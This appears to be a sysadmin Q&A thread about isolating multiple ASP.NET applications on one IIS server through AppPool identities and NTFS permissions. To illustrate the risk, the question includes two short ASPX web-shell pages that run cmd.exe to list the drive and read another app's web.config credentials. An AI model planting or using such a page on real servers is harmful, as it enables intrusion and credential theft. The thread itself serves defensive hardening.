0

I'm setting up a new machine for hosting multiple asp.net applications. My goal is to isolate the apps as strongly as possible. In case one of the apps is hacked, all other apps should be safe.

I have a default configuration. There is a c:\wwwroot directory. In this directory I have \AppA and \AppB folders containing application files. The wwwroot directory has default permissions:

Users - read & execute
IIS_IUSRS - read & execute

Both applications run under different app polls under their own security contexts:

IIS AppPool\AppA
IIS AppPoll\AppB

Let's say somebody broke into AppA and was able to upoad a rogue "dir.aspx" file:

<%@ Language=c# runat="server"%>
<html>
<body>
<%
    System.Diagnostics.Process si = new System.Diagnostics.Process();
    si.StartInfo.WorkingDirectory = "c:\\";
    si.StartInfo.UseShellExecute = false;
    si.StartInfo.FileName = "cmd.exe";
    si.StartInfo.Arguments = "/c dir";
    si.StartInfo.CreateNoWindow = true;
    si.StartInfo.RedirectStandardInput = true;
    si.StartInfo.RedirectStandardOutput = true;
    si.StartInfo.RedirectStandardError = true;
    si.Start();
    string output = si.StandardOutput.ReadToEnd();
    si.Close();
    Response.Write(output);
%>
</body>
</html>

Surprise! Under default configuration the attacker has read access to c:\ - output:

<html>
<body>

 Volume in drive C is System
 Volume Serial Number is ******

 Directory of c:\

05.11.2018  14:39    <DIR>          PerfLogs
21.12.2018  13:55    <DIR>          Program Files
06.11.2018  15:03    <DIR>          Program Files (x86)
20.12.2018  10:08    <DIR>          Users
11.12.2018  01:33    <DIR>          Windows
10.01.2019  19:36    <DIR>          wwwroot
               0 File(s)              0 bytes
               8 Dir(s)  109˙008˙580˙608 bytes free


</body>
</html>

Now the attacker can easily browse through the files on the whole machine, and can access AppB to read the web.config of AppB exposing it's database credentials and other sensitive data:

<%@ Language=c# runat="server"%>
<html>
<body>

<%

System.Diagnostics.Process si = new System.Diagnostics.Process();
si.StartInfo.WorkingDirectory = "c:\\wwwroot\\AppB";
si.StartInfo.UseShellExecute = false;
si.StartInfo.FileName = "cmd.exe";
si.StartInfo.Arguments = "/c type web.config";
si.StartInfo.CreateNoWindow = true;
si.StartInfo.RedirectStandardInput = true;
si.StartInfo.RedirectStandardOutput = true;
si.StartInfo.RedirectStandardError = true;
si.Start();
string output = si.StandardOutput.ReadToEnd();
si.Close();
Response.Write(output);

 %>

</body>
</html>

Output:

<html>
<body>

<?xml version="1.0" encoding="utf-8"?>
<configuration>
  <connectionStrings>
    <add name="AbbBConnectionString" connectionString="*******" providerName="System.Data.SqlClient" />
  </connectionStrings>
  <system.web>
    <compilation debug="true" targetFramework="4.5.2" />
    <httpRuntime targetFramework="4.5.2" />
    <customErrors mode="Off"/>
  </system.web>
</configuration>

</body>
</html>

The question is, is it possible to configure IIS permissions to have a better application isolation? How come the above scenario is even possible?

1

Yes, it is possible.

I can provide a high level overview, but to secure your entire system you should really take a look at the CIS Benchmarks for IIS and Windows 2016. These benchmarks go over too many settings to list here, but will greatly lock down your server and give you a good security posture.

Just a couple things to get you started though.

  1. Don't put your websites on the system drive. Create a separate drive. This is not just for security, but to also prevent your system drive from running out of space if you end up uploading or generating too many files.
  2. Delete the Default AppPool and Website. Don't even use the default wwwroot folder.
  3. You started off well by creating separate AppPools for each website, but you can take that a step further and restrict access to each website's root folder to the AppPool running that specific website.

Try the benchmarks (these snippets I provided are included in the benchmark) and then run your test again. Out of the box Windows is not going to be secure for this type of use case (or many if you really get down to it).

| improve this answer | |
  • Thanks for the link. I will definitely check it out. Ad3) By restrict you mean "ntfs deny"? One more thing - I think the main "problem" is that, the group Users has access to the whole wwwroot. Unfortunately revoking read permissions for the Users group casuses 403 http errors :( – Jan W Jan 10 '19 at 20:49
  • You can explicitly deny permission to a specific group or user, but if you also just remove the group that gives them permissions you will prevent their access. In the case of the Users group causing a 403/404 error you will need to explicitly grant the AppPool User access to the folder where its website is located. – Tim Liston Jan 11 '19 at 15:22
1

You could workaround the problem by set ntfs permission acl on "applicationB" folder with "IIS AppPool\AppA" full deny and viceversa.

Deny

| improve this answer | |
  • Thanks Lorenco, I thought about it. My main concern here is that the soution doesn't scale well. If I add another application, I will have to deny two of the remaining ones. If I add my 30th application, I will have to deny 29 of the remaining ones. I think I got the point here. Of course it I could write a powershell script to do that but again it doesn't seem like an elegant solution. – Jan W Jan 10 '19 at 20:48
  • Hi Jan, I can understand you. check this about users and IIS_IUSRS, maybe you can simply delete the groups and use allow only on app pool identity on ntfs, disabling inheritance on subfolders of wwwroot. serverfault.com/questions/842068/… – Lorenzo Landi Jan 10 '19 at 21:18

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.